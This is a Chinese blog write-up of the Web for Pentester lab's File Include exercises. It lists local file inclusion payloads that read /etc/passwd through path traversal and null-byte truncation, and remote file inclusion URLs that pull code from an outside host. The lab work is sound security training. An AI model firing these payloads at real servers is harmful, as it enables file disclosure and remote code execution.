Web for pentester_writeup之File Include篇
Web for pentester_writeup之File Include篇
File Include(文件包涵)
Example 1

加一个单引号

从报错中我们可以获取如下信息:
当前文件执行的代码路径: /var/www/fileincl/example1.php
文件包含代码引用函数 include()
代码引用的文件路径:include_path= /usr/share/php:/usr/share/pear
Payload 1 (本地文件包含LFI)
http://192.168.219.136/fileincl/example1.php?page=../../../../../../../../etc/passwd
Payload 2 (远程文件包含RFI)
http://192.168.219.136/fileincl/example1.php?page=https://assets.pentesterlab.com/test_include.txt
其中https://assets.pentesterlab.com/test_include.txt是官方给的一个测试例子,也可以自己构建,在txt中写入想执行的代码

Example 2

没有后缀名了,同样添加一个单引号查看报错信息

发现函数调用的php文件变成了include(intro'.php),我们可以使用%00截断来实现本地文件包含
Payload 1 (本地文件包含LFI)
http://192.168.219.136/fileincl/example2.php?page=../../../../../../../../etc/passwd%00
Payload 2 (远程文件包含RFI)
http://192.168.219.136/fileincl/example2.php?page=https://assets.pentesterlab.com/test_include.txt?blah=
或者使用&blah=当文件路径传参符号为&号时
Payload 3 (远程文件包含RFI,也可以在主机10.8.0.61自己构造一个phpinfo.php的文件,去掉后缀访问)
http://192.168.219.136/fileincl/example2.php?page=http://10.8.0.61/phpinfo
Web for pentester_writeup之File Include篇的更多相关文章
- Web for pentester_writeup之File Upload篇
Web for pentester_writeup之File Upload篇 File Upload(文件上传) Example 1 直接上传一句话木马,使用蚁剑连接 成功连接,获取网站根目录 Exa ...
- Web for pentester_writeup之XML attacks篇
Web for pentester_writeup之XML attacks篇 XML attacks(XML攻击) Example 1 - XML外部实体注入(XXE) Payload http:// ...
- Web for pentester_writeup之Directory traversal篇
Web for pentester_writeup之Directory traversal篇 Directory traversal(目录遍历) 目录遍历漏洞,这部分有三个例子,直接查看源代码 Exa ...
- Web for pentester_writeup之LDAP attacks篇
Web for pentester_writeup之LDAP attacks篇 LDAP attacks(LDAP 攻击) LDAP是轻量目录访问协议,英文全称是Lightweight Directo ...
- Web for pentester_writeup之Commands injection篇
Web for pentester_writeup之Commands injection篇 Commands injection(命令行注入) 代码注入和命令行注入有什么区别呢,代码注入涉及比较广泛, ...
- Web for pentester_writeup之Code injection篇
Web for pentester_writeup之Code injection篇 Code injection(代码注入) Example 1 <1> name=hacker' 添加一个 ...
- Web for pentester_writeup之SQL injections篇
Web for pentester_writeup之SQL injections篇 SQL injections(SQL注入) Example 1 测试参数,添加 and '1'='1, 'and ' ...
- Web for pentester_writeup之XSS篇
Web for pentester_writeup之XSS篇 XSS(跨站脚本攻击) Example 1 反射性跨站脚本,URL中name字段直接在网页中显示,修改name字段, Payload: h ...
- Node.js Web 开发框架大全《静态文件服务器篇》
这篇文章与大家分享优秀的 Node.js 静态服务器模块.Node 是一个服务器端 JavaScript 解释器,它将改变服务器应该如何工作的概念.它的目标是帮助程序员构建高度可伸缩的应用程序,编写能 ...
随机推荐
- Spring入门之AOP实践:@Aspect + @Pointcut + @Before / @Around / @After
零.准备知识 1)AOP相关概念:Aspect.Advice.Join point.Pointcut.Weaving.Target等. ref: https://www.cnblogs.com/zha ...
- Go语言入门教程(十)之函数
Hello 各位小伙伴大家好,我是小栈君,假期一眨眼就过去了.不知道大家玩的是否开心呢? 上次我们讲到了关于Go语言的流程控制,小栈君也希望小伙伴跟着小栈君一步一个脚印的敲一下代码,相互进步.本期我们 ...
- Zookeeper 学习笔记之 节点个数
zookeeper的节点配置的个数推荐是奇数个这是为什么呢? 选举机制 两种情况无法选出leader: 整个集群只有2台服务器(注意不是只剩2台,而是集群的总节点数为2) 整个集群超过半数机器挂掉. ...
- Linux配置python
文章出处 https://www.cnblogs.com/yhongji/p/9383857.html 我这里使用的时centos7-mini,centos系统本身默认安装有python2.x,版本 ...
- The Troublesome Frog
In Korea, the naughtiness of the cheonggaeguri, a small frog, is legendary. This is a well-deserved ...
- X-扫描线算法
多边形的扫描转换 多边形有两种重要的表示方法:顶点表示和点阵表示 顶点表示是用多边形的顶点序列来表示多边形.这种表示直观.几何意义强.占内存少,易于进行几何变换. 但由于它没有明确指出哪些象素在多边形 ...
- SpringCloud教程一:eureka注册中心(Finchley版)
一.spring cloud简介 本阶段学习教程Spring Boot版本2.0.3.RELEASE,Spring Cloud版本为Finchley.RELEASE. Finchley版本的官方文档如 ...
- Redis Getshell总结
Redis默认端口是6379,可以通过zoomeye或者shodan来查找开放6379的端口,能收到很多对外开放6379端口的ip,而且绝大部门是未授权访问的,因为默认redis是未授权访问.但是还有 ...
- luoguP2144 [FJOI2007]轮状病毒
题目描述 求 nnn 个点的生成树个数. Solution 2144\text{Solution 2144}Solution 2144 打表得 1=125=5×1216=4245=5×32121=11 ...
- [JOYOI1326] 剑人合一
题目限制 时间限制 内存限制 评测方式 题目来源 1000ms 131072KiB 标准比较器 Local 题目描述 他们飘呀飘,飘呀飘,飘呀飘,飘呀飘~~~经过七七八十一天的漂泊,残雪.夏夜和水手2 ...





